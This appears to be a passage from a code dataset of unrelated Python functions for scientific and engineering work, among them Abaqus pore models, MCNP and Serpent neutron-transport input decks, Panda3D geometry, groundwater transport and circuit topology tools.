self.porenparameter_y,\n self.porenparameter_z,\n 'Ellipsoid')\n # if (self.porenparameter_x == self.porenparameter_z):\n # self.sketch_Pore.ConstructionLine(\n # point1=(0.0, -100.0),\n # point2=(0.0, 100.0))\n # self.sketch_Pore.EllipseByCenterPerimeter(\n # center=(0.0, 0.0),\n # axisPoint1=(self.porenparameter_x/2.0, 0.0),\n # axisPoint2=(0.0, self.porenparameter_y/2.0))\n # self.sketch_Pore.autoTrimCurve(\n # curve1=self.sketch_Pore.geometry[3],\n # point1=(-self.porenparameter_x/2.0, 0.0))\n # self.sketch_Pore.Line(\n # point1=(0.0, self.porenparameter_y/2.0),\n # point2=(0.0, -self.porenparameter_y/2.0))\n else:\n print('typ_Pore Error!')\n #Part Pore generieren\n if (self.typ_Pore == 'Ellipsoid' ):\n # if (self.porenparameter_x == self.porenparameter_z):\n # self.part_Pore.BaseSolidRevolve(\n # sketch=self.sketch_Pore,\n # angle=360.0,\n # flipRevolveDirection=OFF)\n self.iges_Datei = mdb.openIges(\n 'Ellipsoid.igs',\n msbo=False,\n trimCurve=DEFAULT,\n scaleFromFile=OFF)\n self.model.PartFromGeometryFile(\n name=self.name+'_Pore',\n geometryFile=self.iges_Datei,\n combine=False,\n stitchTolerance=1.0,\n dimensionality=THREE_D,\n type=DEFORMABLE_BODY,\n convertToAnalytical=1,\n stitchEdges=1,\n scale=1) # Skalierung\n self.part_Pore = self.model.parts[self.name+'_Pore']\n self.part_Pore.AddCells(\n faceList = self.part_Pore.faces,\n flipped=False)\n del self.iges_Datei\n os.remove('abaqus_read_iges0.log') #Arbeitsordner aufraeumen\n os.remove('temp-Ellipsoid-new.sat')\n os.remove('Ellipsoid.igs')\n elif (self.typ_Pore == 'Quader' or 'Zylinder'):\n self.part_Pore = self.model.Part(\n name=self.name+'_Pore',\n dimensionality=THREE_D,\n type=DEFORMABLE_BODY)\n self.part_Pore.BaseSolidExtrude(\n sketch=self.sketch_Pore,\n depth=self.porenparameter_z)\n #Assemble\n self.assembly = self.model.rootAssembly\n self.assembly.DatumCsysByDefault(CARTESIAN)\n self.assembly.Instance(\n name=self.name+'_Pore',\n part=self.part_Pore,\n dependent=ON)\n self.assembly.Instance(\n name=self.name+'_Wuerfel',\n part=self.part_Wuerfel,\n dependent=ON)\n #Translation\n self.assembly.translate(\n instanceList=(self.name+'_Wuerfel', ),\n vector=(0.0, 0.0, -self.laenge_z/2.0))\n if (self.typ_Pore == 'Ellipsoid'):\n self.assembly.translate(\n instanceList=(self.name+'_Pore', ),\n vector=(0.0, 0.0, 0.0))\n elif (self.typ_Pore == 'Quader' or 'Zylinder'):\n self.assembly.translate(\n instanceList=(self.name+'_Pore', ),\n vector=(0.0, 0.0, -self.porenparameter_z/2.0))\n #Rotation\n self.assembly.rotate(\n instanceList=(self.name+'_Pore', ),\n axisPoint=(0.0, 0.0, 0.0),\n axisDirection=(1.0, 0.0, 0.0),\n angle=self.porenparameter_rx)\n self.assembly.rotate(\n instanceList=(self.name+'_Pore', ),\n axisPoint=(0.0, 0.0, 0.0),\n axisDirection=(0.0, 1.0, 0.0),\n angle=self.porenparameter_ry)\n self.assembly.rotate(\n instanceList=(self.name+'_Pore', ),\n axisPoint=(0.0, 0.0, 0.0),\n axisDirection=(0.0, 0.0,1.0),\n angle=self.porenparameter_rz)\n #Schneiden\n self.assembly.InstanceFromBooleanCut(\n name='RVE',\n instanceToBeCut=self.assembly.instances[self.name+'_Wuerfel'],\n cuttingInstances=(self.assembly.instances[self.name+'_Pore'], ),\n originalInstances=SUPPRESS)\n self.assembly.deleteFeatures((self.name+'_Wuerfel', self.name+'_Pore', ))\n # del self.model.parts[self.name+'_Wuerfel']\n # del self.model.parts[self.name+'_Pore']\n self.part_RVE = self.model.parts[self.name]\n elif (self.dimension == '2D'):\n #Sketch Wuerfel zeichnen\n self.sketch_Wuerfel = self.model.ConstrainedSketch(\n name='Seitenansicht_Wuerfel',\n sheetSize=200.0)\n self.sketch_Wuerfel.rectangle(\n point1=(0.0, 0.0),\n point2=(self.laenge_x/2.0, self.laenge_y/2.0)) #x- und y-Symmetrie\n #Part Wuerfel generieren\n self.part_Wuerfel = self.model.Part(\n name=self.name+'_Wuerfel',\n dimensionality=TWO_D_PLANAR,\n type=DEFORMABLE_BODY)\n self.part_Wuerfel.BaseShell(sketch=self.sketch_Wuerfel)\n #Sketch Pore zeichnen\n self.sketch_Pore = self.model.ConstrainedSketch(\n name='Seitenansicht_Pore',\n sheetSize=200.0)\n if (self.typ_Pore == 'Ellipsoid'):\n self.sketch_Pore.ConstructionLine(\n point1=(0.0, -100.0),\n point2=(0.0, 100.0))\n self.sketch_Pore.EllipseByCenterPerimeter(\n center=(0.0, 0.0),\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\n axisPoint2=(0.0, self.porenparameter_y/2.0))\n self.sketch_Pore.autoTrimCurve(\n curve1=self.sketch_Pore.geometry[3],\n point1=(-self.porenparameter_x/2.0, 0.0))\n self.sketch_Pore.Line(\n point1=(0.0, self.porenparameter_y/2.0),\n point2=(0.0, -self.porenparameter_y/2.0))\n elif (self.typ_Pore == 'Quader'):\n self.sketch_Pore.rectangle(\n point1=(-self.porenparameter_x/2.0, -self.porenparameter_y/2.0),\n point2=(self.porenparameter_x/2.0, self.porenparameter_y/2.0))\n elif (self.typ_Pore == 'Zylinder'):\n self.sketch_Pore.EllipseByCenterPerimeter(\n center=(0.0, 0.0),\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\n axisPoint2=(0.0, self.porenparameter_y/2.0))\n else:\n print('typ_Pore Error!')\n #Part Pore generieren\n self.part_Pore = self.model.Part(\n name=self.name+'_Pore',\n dimensionality=TWO_D_PLANAR,\n type=DEFORMABLE_BODY)\n self.part_Pore.BaseShell(sketch=self.sketch_Pore)\n #Assemble\n self.assembly = self.model.rootAssembly\n self.assembly.DatumCsysByDefault(CARTESIAN)\n self.assembly.Instance(\n name=self.name+'_Wuerfel',\n part=self.part_Wuerfel,\n dependent=ON)\n self.assembly.Instance(\n name=self.name+'_Pore',\n part=self.part_Pore,\n dependent=ON)\n self.assembly.rotate(\n instanceList=(self.name+'_Pore', ),\n axisPoint=(0.0, 0.0, self.laenge_z/2.0),\n axisDirection=(0.0, 0.0, self.laenge_z/2.0+1),\n angle=self.porenparameter_rz)\n self.assembly.InstanceFromBooleanCut(\n name='RVE',\n instanceToBeCut=self.assembly.instances[self.name+'_Wuerfel'],\n cuttingInstances=(self.assembly.instances[self.name+'_Pore'], ),\n originalInstances=SUPPRESS)\n self.assembly.deleteFeatures((self.name+'_Wuerfel', self.name+'_Pore', ))\n del self.model.parts[self.name+'_Wuerfel']\n #del self.model.parts[self.name+'_Pore']\n self.part_RVE = self.model.parts[self.name]\n else:\n print('dimension Error!')","def create_3d_patch(model,orgin,size,N,setname='default'):\n \n N = map(int,N)\n # create the coordinates and connectivity based on one\n bxyz,bcube = block3d(orgin,size,N)\n \n # add node to model starting with current highest node seq\n nn = int(model.node(bxyz))\n update_bcube = bcube + int(nn)\n \n pelemset = model.element(update_bcube,setname)\n \n \n nx = N[0] + 1\n ny = N[1] + 1\n nz = N[2] + 1\n \n \n nodeline = {}\n\n nodeline['1'] = [nn + 1]\n nodeline['2'] = [nn + 1 + ny*nz*(nx-1)]\n nodeline['3'] = [nn + 1 + ny*nz*(nx-1) + (ny-1)*nz]\n nodeline['4'] = [nn + 1 + nz*(ny-1)]\n nodeline['5'] = [nodeline['1'][0] + (nz-1)]\n nodeline['6'] = [nodeline['2'][0] + (nz-1)]\n nodeline['7'] = [nodeline['3'][0] + (nz-1)]\n nodeline['8'] = [nodeline['4'][0] + (nz-1)]\n \n nodeline['1-2'] = range(nodeline['1'][0],nodeline['2'][0]+1,ny*nz)\n nodeline['2-3'] = range(nodeline['2'][0],nodeline['3'][0]+1,nz)\n nodeline['3-4'] = range(nodeline['4'][0],nodeline['3'][0]+1,ny*nz)\n nodeline['1-4'] = range(nodeline['1'][0],nodeline['4'][0]+1,nz)\n\n nodeline['5-6'] = range(nodeline['5'][0],nodeline['6'][0]+1,ny*nz)\n nodeline['6-7'] = range(nodeline['6'][0],nodeline['7'][0]+1,nz)\n nodeline['7-8'] = range(nodeline['8'][0],nodeline['7'][0]+1,ny*nz)\n nodeline['5-8'] = range(nodeline['5'][0],nodeline['8'][0]+1,nz)\n \n nodeline['1-5'] = range(nodeline['1'][0],nodeline['5'][0]+1,1)\n nodeline['4-8'] = range(nodeline['4'][0],nodeline['8'][0]+1,1)\n nodeline['2-6'] = range(nodeline['2'][0],nodeline['6'][0]+1,1)\n nodeline['3-7'] = range(nodeline['3'][0],nodeline['7'][0]+1,1)\n \n nodeline['1-2-3-4'] = []\n nodeline['5-6-7-8'] = []\n nodeline['1-2-6-5'] = []\n nodeline['4-3-7-8'] = []\n nodeline['1-4-8-5'] = []\n nodeline['2-3-7-6'] = []\n \n for i in range(0,nx):\n for j in nodeline['1-4']:\n nodeline['1-2-3-4'].append(j + i*ny*nz)\n for j in nodeline['5-8']:\n nodeline['5-6-7-8'].append(j + i*ny*nz) \n \n for j in nodeline['1-5']:\n nodeline['1-2-6-5'].append(j + i*ny*nz) \n for j in nodeline['4-8']:\n nodeline['4-3-7-8'].append(j + i*ny*nz)\n \n for i in range(0,ny):\n for j in nodeline['1-5']:\n nodeline['1-4-8-5'].append(j + i*nz)\n for j in nodeline['2-6']:\n nodeline['2-3-7-6'].append(j + i*nz)\n #\n for key in nodeline:\n nodesetname = '-'.join([setname , key])\n model.nodeset(nodesetname,{'nodelist':nodeline[key]})\n\n return model","def create_plaquette(self, baseStr, fidpairs):\n ji_list = list(_itertools.product(list(range(self.nMinorRows)),\n list(range(self.nMinorCols))))\n assert(len(ji_list) >= len(fidpairs)), \"Number of minor rows/cols is too small!\"\n\n elements = [(j, i, prepStr + baseStr + effectStr)\n for (j, i), (prepStr, effectStr) in\n zip(ji_list[0:len(fidpairs)], fidpairs)] # note preps are *cols* not rows\n\n return CircuitPlaquette(baseStr, self.nMinorRows,\n self.nMinorCols, elements,\n self.aliases, fidpairs[:])","def _make_serpent_input(self):\n # Create the problem description\n lines = ['% Point source in infinite geometry']\n lines.append('')\n\n # Set the cross section library directory\n if self.xsdir is not None:\n xsdata = (self.other_dir / 'xsdata').resolve()\n lines.append(f'set acelib \"{xsdata}\"')\n lines.append('')\n \n # Create the cell cards: material 1 inside sphere, void outside\n lines.append('% --- Cell cards ---')\n lines.append('cell 1 0 m1 -1')\n lines.append('cell 2 0 outside 1')\n lines.append('')\n\n # Create the surface cards: box centered on origin with 2e9 cm sides`\n # and reflective boundary conditions\n lines.append('% --- Surface cards ---')\n lines.append('surf 1 cube 0.0 0.0 0.0 1.e9')\n\n # Reflective boundary conditions\n lines.append('set bc 2')\n lines.append('')\n\n # Create the material cards\n lines.append('% --- Material cards ---')\n name = zaid(self.nuclide, self.suffix)\n if self.thermal is not None:\n Z, A, m = openmc.data.zam(self.nuclide)\n lines.append(f'mat m1 -{self.density} moder t1 {1000*Z + A}')\n else:\n lines.append(f'mat m1 -{self.density}')\n lines.append(f'{name} 1.0')\n\n # Add thermal scattering library associated with the nuclide\n if self.thermal is not None:\n lines.append(f'therm t1 {self.thermal}')\n lines.append('')\n\n # External source mode with isotropic point source at center of sphere\n lines.append('% --- Set external source mode ---')\n lines.append(f'set nps {self.particles} {self._batches}')\n energy = self.energy * 1e-6\n lines.append(f'src 1 n se {energy} sp 0.0 0.0 0.0')\n lines.append('')\n\n # Detector definition: flux energy spectrum\n lines.append('% --- Detector definition ---')\n lines.append('det 1 de 1 dc 1')\n\n # Energy grid definition: equal lethargy spacing\n min_energy = self._min_energy * 1e-6\n lines.append(f'ene 1 3 {self._bins} {min_energy} {1.0001*energy}')\n lines.append('')\n\n # Treat fission as capture\n lines.append('set nphys 0')\n\n # Turn on unresolved resonance probability treatment\n lines.append('set ures 1')\n\n # Write the problem\n with open(self.other_dir / 'input', 'w') as f:\n f.write('\\n'.join(lines))","def create(self, verbose=False):\r\n # delete the window if its handle exists\r\n if cmds.window(self.window, exists=True):\r\n cmds.deleteUI(self.window)\r\n # initialize the window as a pane for docking\r\n self.window = cmds.loadUI(uiFile=self.uiFile, verbose=verbose)\r\n #layoutWin = cmds.paneLayout(configuration='single')\r\n # create a dockControl and parent the control to layoutWin\r\n cmds.dockControl(allowedArea='all', area='right', floating=False, \r\n height=cmds.window(self.window, query=True, height=True), \r\n content=self.window, label='Docked Cone Pointer Window')\r\n cmds.showWindow(self.window)","def createInputDeck(self,cylinderPositions,inp=None,name=None):\n self.inp = inp\n self.name = name\n if not inp:\n self.inp = 'INP_Cylinder.mcnp'\n if not name:\n self.name = 'OUT_Cylinder.'\n oFile = self.inp\n \n # Problem Constants\n cellString = 'c ------------------------- Source ----------------------------------------\\n'\n cellString += '70 5 -15.1 -70 $ 252Cf source \\n' \n cellString += '71 406 -11.34 -71 70 $ Lead around source\\n'\n cellString += '72 456 -0.93 -72 71 $ Poly around source\\n'\n\n surfString = 'c ########################### Surface Cards ##############################\\n'\n surfString += 'c ------------------- Encasing Bounds (Size of RPM8) ---------------------\\n'\n surfString += '500 rpp 0 12.7 -15.25 15.25 0 217.7 \\n'\n\n # Add in other cells here\n numCells = 4 # 3 Source, 1 RPM8 Encasing\n \n ##################################################################\n # Add in Detector Cells and Surfaces #\n ##################################################################\n universeNum = 1\n (s,c,detectorCells,cellsCreated) = self.createDetectorCylinder(universeNum)\n surfString += s\n cellString += 'c ------------------- Detector Cylinder Universe ------------------------\\n'\n cellString += c\n transNum = 1\n uCellNum = self.UniverseNum\n transString = ''\n cellString += 'c ----------------------- Detector Universe ----------------------------\\n'\n for pos in cylinderPositions:\n transString += self.tranForStr.format(transNum,pos[0],pos[1])\n cellString += '{:5d} 0 -{:d} trcl={:d} fill={:d}\\n'.format(uCellNum,self.SurfaceStartNum,transNum,universeNum)\n transNum +=1\n uCellNum +=1\n # Adding the PMMA Moderator Block\n m = self.material['Moderator']\n cellString += 'c ------------------------- HDPE Moderator -----------------------------\\n'\n cellString += '{:5d} {:d} -{:4.3f} -{:d} '.format(500,m['mt'],m['rho'],self.ZeroSurfaceNum)\n cellString += ''.join('#{:d} '.format(i) for i in range(self.UniverseNum,uCellNum))\n cellString += '\\n'\n # Getting total number of cells\n numCells += cellsCreated + uCellNum-self.UniverseNum +1\n \n ##################################################################\n # Write the Tallies #\n ##################################################################\n univCells = range(self.UniverseNum,uCellNum)\n tallyString = 'c ------------------------- Tallies Yo! -----------------------------------\\n'\n tallies = {'F54:n':{'cells':detectorCells,'comments':'FC54 6Li Reaction Rates\\n',\n 'options':' T\\nSD54 1 {0:d}R\\nFM54 -1 3 105'}}\n for t in tallies:\n # Getting a list of cells\n tallyString += tallies[t]['comments']\n tallyString += str(t)+' '\n j = 0\n for u in univCells:\n cell = list('('+str(c)+'<'+str(u)+') ' for c in tallies[t]['cells'])\n cell = [cell[i:i+6] for i in range(0,len(cell),6)]\n if j > 0:\n tallyString += ' '+''.join(''.join(i)+'\\n' for i in cell)\n else:\n tallyString += ' '.join(''.join(i)+'\\n' for i in cell)\n j +=1\n tallyString = tallyString.rstrip()\n tallyString += tallies[t]['options'].format(len(univCells)*len(tallies[t]['cells']))\n tallyString+='\\n'\n\n # Finish up the problem data\n cellString += 'c ---------------------- Detector Encasing ------------------------------\\n'\n cellString += '700 488 -7.92 701 -700 $ SS-316 Encasing \\n'\n cellString += 'c -------------------------- Outside World -------------------------------\\n'\n cellString += '1000 204 -0.001225 -1000 700 #70 #71 #72 $ Atmosphere \\n'\n cellString += '1001 0 1000 \\n'\n \n surfString += 'c ------------------------ Encasing Material -----------------------------\\n'\n surfString += '700 rpp -0.3175 13.018 -15.5675 15.5675 -0.3175 218.018 \\n'\n surfString += '701 rpp 0.0 12.7 -15.25 15.25 0.0 217.7 \\n'\n surfString += 'c -------------- Source --------------------------------------------------\\n'\n surfString += '70 s -200 0 108.85 2.510E-04 $ Source \\n'\n surfString += '71 s -200 0 108.85 5.0025E-01 $ 0.5 cm lead surrounding source \\n'\n surfString += '72 s -200 0 108.85 3.00025 $ 2.5 cm poly surrounding source \\n'\n surfString += 'c -------------- Outside World -------------------------------------------\\n'\n surfString += '1000 so 250 \\n'\n\n matString = 'c -------------------------- Material Cards -----------------------------\\n'\n matString += self.material['Detector']['matString']\n matString += self.getMaterialString()\n with open(oFile,'w') as o:\n o.write('MCNPX Simulation of RPM8 Cylinder\\n')\n o.write(cellString)\n o.write('\\n')\n o.write(surfString)\n o.write('\\n')\n o.write(self.getRunString().format(numCells))\n o.write(self.getSrcString())\n o.write(tallyString)\n o.write(matString)\n o.write(transString)\n o.write('\\n')","def fig3b():\n # fmt: off\n tpm = np.array([\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [1, 0, 0, 0],\n [1, 0, 0, 0],\n ])\n cm = np.array([\n [0, 0, 0, 0],\n [1, 0, 0, 0],\n [1, 0, 0, 0],\n [1, 0, 0, 0],\n ])\n # fmt: on\n return Network(tpm, cm=cm, node_labels=LABELS[:tpm.shape[1]])","def __init__(self):\n Page.__init__(self, u\"Paraboloide Elíptico<br><br>F(x,y)=(x, y, x<sup>2</sup>/a<sup>2</sup> + y<sup>2</sup>/b<sup>2</sup>)\")\n\n z = 0.5\n par = RevolutionPlot3D(lambda r, t: r ** 2 + z, (0, 1), (0, 2 * pi))\n\n x, y, z2, u, v, cose, sen, t = createVars(['x', 'y', 'z', 'u', 'v', 'cos', 'sen', 't'])\n\n mesh1 = Plot3D(lambda x, y, h: h * (x ** 2 + y ** 2 + z - .01), (-1, 1), (-1, 1))\n mesh1.addEqn(x**2+y**2 - z2**2 == 1)\n mesh1.addFunction(lambda x, y, h: h * (x ** 2 + y ** 2 + z + .01))\n mesh1.setLinesVisible(True)\n mesh1.setMeshVisible(False)\n mesh1.setBoundingBox(zrange=(-1, 1.5))\n par.setAmbientColor(_1(145, 61, 74))\n par.setDiffuseColor(_1(145, 61, 74))\n par.setSpecularColor(_1(145, 61, 74))\n baseplane = BasePlane()\n baseplane.setHeight(0)\n baseplane.setRange((-2, 2, 7))\n\n self.addChild(par)\n self.addChild(mesh1)\n self.addChild(baseplane)","def compiler(input_ckt:pathlib.Path, design_name:str, pdk_dir:pathlib.Path, flat=0, Debug=False):\n logger.info(\"Starting topology identification...\")\n input_dir = input_ckt.parents[0]\n logger.debug(f\"Reading subckt {input_ckt}\")\n #\n # TODO: flatten should be separate pass\n #\n sp = SpiceParser(input_ckt, design_name, flat, pdk_dir)\n circuit_graphs = sp.sp_parser()\n assert circuit_graphs !=None , f\"No subcircuit with name {design_name} found in spice {input_ckt}\"\n circuit = circuit_graphs[0]\n\n design_setup = read_setup(input_dir / f'{design_name}.setup')\n logger.debug(f\"template parent path: {pathlib.Path(__file__).parent}\")\n lib_path = pathlib.Path(__file__).resolve().parent.parent / 'config' / 'basic_template.sp'\n logger.debug(f\"template library path: {lib_path}\")\n basic_lib = SpiceParser(lib_path)\n library = basic_lib.sp_parser()\n lib_path=pathlib.Path(__file__).resolve().parent.parent / 'config' / 'user_template.sp'\n user_lib = SpiceParser(lib_path)\n library += user_lib.sp_parser()\n library = [HierDictNode(**x, constraints=[], ports_weight={}) for x in library]\n library=sorted(library, key=lambda k: max_connectivity(k.graph), reverse=True)\n\n logger.debug(f\"dont use cells: {design_setup['DONT_USE_CELLS']}\")\n logger.debug(f\"all library elements: {[ele['name'] for ele in library]}\")\n if len(design_setup['DONT_USE_CELLS'])>0:\n library=[lib_ele for lib_ele in library if lib_ele['name'] not in design_setup['DONT_USE_CELLS']]\n #read lef to not write those modules as macros\n lef_path = pathlib.Path(__file__).resolve().parent.parent / 'config'\n all_lef = read_lef(lef_path)\n logger.debug(f\"Available library cells: {', '.join(all_lef)}\")\n\n if Debug==True:\n _write_circuit_graph(circuit[\"name\"], circuit[\"graph\"],\n \"./circuit_graphs/\")\n for lib_circuit in library:\n _write_circuit_graph(lib_circuit[\"name\"], lib_circuit[\"graph\"],\n \"./circuit_graphs/\")\n #Converting graph to dict\n const_parse = ConstraintParser(pdk_dir, input_dir)\n create_data = CreateDatabase(circuit[\"graph\"], const_parse)\n hier_graph_dict = create_data.read_inputs(circuit[\"name\"])\n logger.debug(\"START preprocessing\")\n stacked_subcircuit=[]\n\n #\n # TODO: Re-implement stacked transistor detection using new passes\n #\n for circuit_name, circuit in hier_graph_dict.items():\n logger.debug(f\"preprocessing circuit name: {circuit_name}\")\n G1 = circuit[\"graph\"]\n if circuit_name not in design_setup['DIGITAL']:\n define_SD(circuit,design_setup['POWER'],design_setup['GND'], design_setup['CLOCK'])\n stacked_subcircuit.append(preprocess_stack_parallel(hier_graph_dict,circuit_name,G1))\n for circuit_name in stacked_subcircuit:\n if circuit_name in hier_graph_dict.keys() and circuit_name is not design_name:\n logger.debug(f\"removing stacked subcircuit {circuit_name}\")\n del hier_graph_dict[circuit_name]\n #\n # TODO: pg_pins should be marked using constraints. Not manipulating netlist\n #\n logger.debug(\"Modifying pg pins in design for PnR\")\n pg_pins = design_setup['POWER']+design_setup['GND']\n remove_pg_pins(hier_graph_dict,design_name, pg_pins)\n\n logger.debug( \"\\n################### FINAL CIRCUIT AFTER preprocessing #################### \\n\")\n for circuit in hier_graph_dict.values():\n for node in circuit[\"graph\"].nodes(data=True):\n if node[1][\"inst_type\"]!='net':\n logger.debug(node)\n\n annotate = Annotate(hier_graph_dict, design_setup, library, all_lef)\n annotate.annotate()\n return hier_graph_dict","def generaCubo(self):\r\n #Use Panda predefined format for vertex coordinate only\r\n format = GeomVertexFormat.getV3()\r\n \r\n #Build Vertex data using the created format. Vertex will never change so I use Static attribute \r\n vdata = GeomVertexData('CuboData', format, Geom.UHStatic)\r\n \r\n #I will have to write vertex data so I create a writer for these data\r\n vertex = GeomVertexWriter(vdata, 'vertex')\r\n \r\n #I now use the writer to add vertex data\r\n vertex.addData3f(0, 0, 0)\r\n vertex.addData3f(1, 1, 1)\r\n vertex.addData3f(0, 1, 1)\r\n vertex.addData3f(0, 1, 0)\r\n vertex.addData3f(0, 0, 1)\r\n vertex.addData3f(1, 0, 0)\r\n vertex.addData3f(1, 0, 1)\r\n vertex.addData3f(1, 1, 0)\r\n \r\n #I now create 12 triangles\r\n prim = GeomTriangles(Geom.UHStatic)\r\n\r\n #and then I add vertex to them\r\n #Next time use addVertices(0,1,2) !!!\r\n prim.addVertex(7)\r\n prim.addVertex(0)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n \r\n prim.addVertex(3)\r\n prim.addVertex(0)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n \r\n prim.addVertex(2)\r\n prim.addVertex(6)\r\n prim.addVertex(4)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(1)\r\n prim.addVertex(6)\r\n prim.addVertex(2)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(7)\r\n prim.addVertex(2)\r\n prim.addVertex(3)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(1)\r\n prim.addVertex(2)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(3)\r\n prim.addVertex(4)\r\n prim.addVertex(0)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(2)\r\n prim.addVertex(4)\r\n prim.addVertex(3)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(0)\r\n prim.addVertex(6)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(4)\r\n prim.addVertex(6)\r\n prim.addVertex(0)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(5)\r\n prim.addVertex(1)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(6)\r\n prim.addVertex(1)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n\r\n #Create a Geom to bing vertex data to primitives\r\n geom = Geom(vdata)\r\n geom.addPrimitive(prim)\r\n\r\n #Create a node for the Geom in order to be able to render it\r\n node = GeomNode('gnode')\r\n node.addGeom(geom)\r\n\r\n #Adde the node to the scene graph == render it!\r\n nodePath = render.attachNewNode(node)\r\n \r\n #is this needed?\r\n nodePath.setPos( 0, 5, 0)\r\n \r\n self.camera.lookAt(nodePath)\r\n \r\n base.setBackgroundColor( .0, .0, .0 )\r\n \r\n taskMgr.add(self.SpinCameraTask, \"SpinCameraTask\")","def __init__(self,mf,rnmf,exemt3dms,modelname,workspace,dataspace,fltfile):\n #Constructor begins here\n self.__exefile=exemt3dms\n self.__workspace=workspace\n self.__dataspace=dataspace\n self.__modelname=modelname\n self.__ftlnm=fltfile\n \n # create mt3dms model object\n self.__mt = flopy.mt3d.Mt3dms(modflowmodel=mf, modelname=self.__modelname, \n exe_name=self.__exefile , ftlfilename=self.__ftlnm,\n model_ws=self.__workspace)\n \n # basic transport package\n perlen=rnmf.getPerlen()\n nper=rnmf.getNper()\n nstp=rnmf.getNstp()\n self.__btn = flopy.mt3d.Mt3dBtn(self.__mt, prsity=0.3, icbund = 1, sconc=0.0, ncomp=1, \n perlen = perlen, nper=nper, nstp = nstp, tsmult = 1.0, \n nprs = -1, nprobs = 10, cinact = -1, chkmas=True)\n \n # advaction package\n self.__adv = flopy.mt3d.Mt3dAdv(self.__mt, mixelm=-1, percel=0.75)\n # dispersion package\n self.__dsp = flopy.mt3d.Mt3dDsp(self.__mt, al=1000, trpt=0.1, trpv=0.1, dmcoef=1e-09)\n #Forcing objects\n itype = flopy.mt3d.Mt3dSsm.itype_dict()\n print(itype)\n print(flopy.mt3d.Mt3dSsm.get_default_dtype())\n wellbld=rnmf.getWelBld()\n self.__ssm=wellbld.createssm(self.__mt,itype)\n # matrix solver package\n self.__gcg = flopy.mt3d.Mt3dGcg(self.__mt, cclose=1e-6)","def convert_topology(src_filename, set_backbone=True, in_place=False, split_dir=None):\n\n # Grab unit cell description (should be on first few lines:\n cryst = None\n with open(src_filename) as src:\n for line in src.readlines():\n if line.startswith('CRYST1'):\n cryst = line\n break\n\n # Read in source PDB (DEShaw original format)\n src_pdb = PdbStructure(open(src_filename))\n atoms = list(src_pdb.iter_atoms())\n topo = md.load(src_filename).top\n\n # Break into 4 segments\n segment_list = ['C1', 'C2', 'C3', 'C4']\n segment = {l:[] for l in segment_list}\n for i in atoms: \n segment[i.segment_id].append(i)\n\n # Set temperature factor (for gradual heating) \n if set_backbone:\n backbone = topo.select(\"backbone\")\n for i in range(0, len(segment['C1'])):\n if i in backbone:\n segment['C1'][i].location.temperature_factor = 1.0\n\n # Resort water segements and alias \"pseu\" to OM (tip4p forcefield)\n for wat in ['C2', 'C3']:\n segment[wat] = sorted(segment[wat], key = lambda i: i.residue_number)\n start_serial_num = min(segment[wat], key= lambda i: i.serial_number)\n for i in range(0, len(segment[wat])):\n newsn = i + start_serial_num.serial_number\n segment[wat][i].serial_number = newsn\n if segment[wat][i].get_name == 'pseu':\n segment[wat][i].set_name_with_spaces(' OM ')\n\n # FOR RE-RUNNING THE PSFGEN\n if split_dir is not None:\n for s in segment_list:\n with open(split_dir + '/%s.pdb' % s, 'w') as dest:\n for atom in segment[s]:\n _=dest.write(str(atom) + '\\n')\n\n # Writeout new file\n if in_place:\n dest = open(src_filename, 'w')\n if cryst is not None:\n dest.write(cryst)\n for s in segment_list:\n for atom in segment[s]:\n _=dest.write(str(atom) + '\\n')\n _=dest.write('END')\n dest.close()","def b_create_base_geometry(b_name):\n b_obj = b_create_cube(b_name)\n return b_obj","def create_network_block(\n self,\n object_name,\n power,\n rjc,\n rjb,\n gravity_dir,\n top,\n assign_material=True,\n default_material=\"Ceramic_material\",\n use_object_for_name=True,\n ):\n if object_name in self.modeler.primitives.object_names:\n faces = self.modeler.primitives.get_object_faces(object_name)\n k = 0\n faceCenter = {}\n for f in faces:\n faceCenter[f] = self.modeler.oeditor.GetFaceCenter(int(f))\n faceCenter[f] = [round(float(i), 1) for i in faceCenter[f]]\n k = k + 1\n fcmax = -1e9\n fcmin = 1e9\n fcrjc = None\n fcrjb = None\n for fc in faceCenter:\n fc1 = faceCenter[fc]\n if fc1[gravity_dir] < fcmin:\n fcmin = fc1[gravity_dir]\n fcrjc = int(fc)\n if fc1[gravity_dir] > fcmax:\n fcmax = fc1[gravity_dir]\n fcrjb = int(fc)\n if fcmax < float(top):\n app = fcrjc\n fcrjc = fcrjb\n fcrjb = app\n if assign_material:\n self.modeler.primitives[object_name].material_name = default_material\n props = {}\n if use_object_for_name:\n boundary_name = object_name\n else:\n boundary_name = generate_unique_name(\"Block\")\n props[\"Faces\"] = [fcrjc, fcrjb]\n props[\"Nodes\"] = OrderedDict(\n {\n \"Face\" + str(fcrjc): [fcrjc, \"NoResistance\"],\n \"Face\" + str(fcrjb): [fcrjb, \"NoResistance\"],\n \"Internal\": [power],\n }\n )\n props[\"Links\"] = OrderedDict(\n {\n \"Link1\": [\"Face\" + str(fcrjc), \"Internal\", \"R\", str(rjc) + \"cel_per_w\"],\n \"Link2\": [\"Face\" + str(fcrjb), \"Internal\", \"R\", str(rjb) + \"cel_per_w\"],\n }\n )\n props[\"SchematicData\"] = OrderedDict({})\n bound = BoundaryObject(self, boundary_name, props, \"Network\")\n if bound.create():\n self.boundaries.append(bound)\n self.modeler.primitives[object_name].solve_inside = False\n return bound\n return None","def add_connector(self):\n \n no = len(self.connectors)\n state = {}\n state[\"s_pin\"] = no\n state[\"p_pin\"] = no\n 